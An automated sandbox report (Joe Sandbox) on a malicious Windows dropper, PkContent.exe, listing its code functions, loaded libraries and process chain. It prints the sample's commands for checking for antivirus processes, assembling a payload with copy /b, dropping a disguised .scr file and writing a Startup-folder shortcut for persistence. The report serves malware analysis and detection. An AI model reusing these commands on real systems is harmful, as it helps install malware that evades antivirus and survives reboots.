Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0014CD51	12_2_0014CD51
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0017EDB2	12_2_0017EDB2
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00188E44	12_2_00188E44
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001A0EB7	12_2_001A0EB7
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00156FE6	12_2_00156FE6
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001433B7	12_2_001433B7
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0014F409	12_2_0014F409
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0013D45D	12_2_0013D45D
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0013F628	12_2_0013F628
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00121663	12_2_00121663
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001416B4	12_2_001416B4
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0012F6A0	12_2_0012F6A0
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_001478C3	12_2_001478C3
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0014DBA5	12_2_0014DBA5
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00141BA8	12_2_00141BA8
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00159CE5	12_2_00159CE5
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0013DD28	12_2_0013DD28
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_0014BFD6	12_2_0014BFD6
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00141FC0	12_2_00141FC0
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0001B020	18_2_0001B020
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_000194E0	18_2_000194E0
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00019C80	18_2_00019C80
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_000323F5	18_2_000323F5
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00098400	18_2_00098400
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00046502	18_2_00046502
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0004265E	18_2_0004265E
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0001E6F0	18_2_0001E6F0
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0003282A	18_2_0003282A
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_000489BF	18_2_000489BF
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00090A3A	18_2_00090A3A
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00046A74	18_2_00046A74
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00020BE0	18_2_00020BE0
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0003CD51	18_2_0003CD51
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0006EDB2	18_2_0006EDB2
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00078E44	18_2_00078E44
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00090EB7	18_2_00090EB7
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00046FE6	18_2_00046FE6
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_000333B7	18_2_000333B7
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0003F409	18_2_0003F409
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0002D45D	18_2_0002D45D
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0002F628	18_2_0002F628
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00011663	18_2_00011663
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0001F6A0	18_2_0001F6A0
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_000316B4	18_2_000316B4
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_000378C3	18_2_000378C3
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0003DBA5	18_2_0003DBA5
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00031BA8	18_2_00031BA8
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00049CE5	18_2_00049CE5
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0002DD28	18_2_0002DD28
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00031FC0	18_2_00031FC0
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_0003BFD6	18_2_0003BFD6

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif D8B7C7178FBADBF169294E4F29DCE582F89A5CF372E9DA9215AA082330DC12FD

Source: C:\Users\user\Desktop\PkContent.exe	Code function: String function: 004062A3 appears 58 times
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: String function: 00038B30 appears 42 times
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: String function: 00030D17 appears 70 times
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: String function: 00021A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: String function: 00140D17 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: String function: 00131A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: String function: 00148B30 appears 42 times

Source: PkContent.exe, 00000000.00000002.1318641163.00000000006C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs PkContent.exe
Source: PkContent.exe, 00000000.00000003.1317774847.00000000006C3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs PkContent.exe
Source: PkContent.exe, 00000000.00000003.1312253060.0000000002754000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAutoIt3.exeB vs PkContent.exe

Source: PkContent.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal92.expl.evad.winEXE@28/14@3/0

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_0018A6AD GetLastError,FormatMessageW,

12_2_0018A6AD

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00178DE9 AdjustTokenPrivileges,CloseHandle,	12_2_00178DE9
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00179399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	12_2_00179399
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00068DE9 AdjustTokenPrivileges,CloseHandle,	18_2_00068DE9
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00069399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	18_2_00069399

Source: C:\Users\user\Desktop\PkContent.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_00184148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

12_2_00184148

Source: C:\Users\user\Desktop\PkContent.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

Code function: 12_2_0018443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

12_2_0018443D

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif

File created: C:\Users\user\AppData\Local\GuardKey Solutions

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:788:120:WilError_03

Source: C:\Users\user\Desktop\PkContent.exe

File created: C:\Users\user~1\AppData\Local\Temp\nsx6D5D.tmp

Jump to behavior

Source: C:\Users\user\Desktop\PkContent.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Hammer Hammer.bat & Hammer.bat

Source: PkContent.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\PkContent.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\PkContent.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: PkContent.exe

ReversingLabs: Detection: 63%

Source: C:\Users\user\Desktop\PkContent.exe

File read: C:\Users\user\Desktop\PkContent.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PkContent.exe "C:\Users\user\Desktop\PkContent.exe"
Source: C:\Users\user\Desktop\PkContent.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Hammer Hammer.bat & Hammer.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 724598
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "WowLiberalCalOfficer" Weight
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Explorer + ..\West + ..\Agencies + ..\Situated y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif Thermal.pif y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & echo URL="C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr" "C:\Users\user\AppData\Local\GuardKey Solutions\g"
Source: C:\Users\user\Desktop\PkContent.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Hammer Hammer.bat & Hammer.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 724598	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "WowLiberalCalOfficer" Weight	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Explorer + ..\West + ..\Agencies + ..\Situated y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif Thermal.pif y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & echo URL="C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url" & exit	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr "C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr" "C:\Users\user\AppData\Local\GuardKey Solutions\g"	Jump to behavior

Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\PkContent.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\PkContent.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: PkContent.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\PkContent.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	Code function: 12_2_00148B75 push ecx; ret		12_2_00148B88
Source: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr	Code function: 18_2_00038B75 push ecx; ret		18_2_00038B88

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	File created: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif	File created: C:\Users\user\AppData\Local\GuardKey Solutions\HermesKey.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\724598\Thermal.pif			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HermesKey.url

Jump to behavior

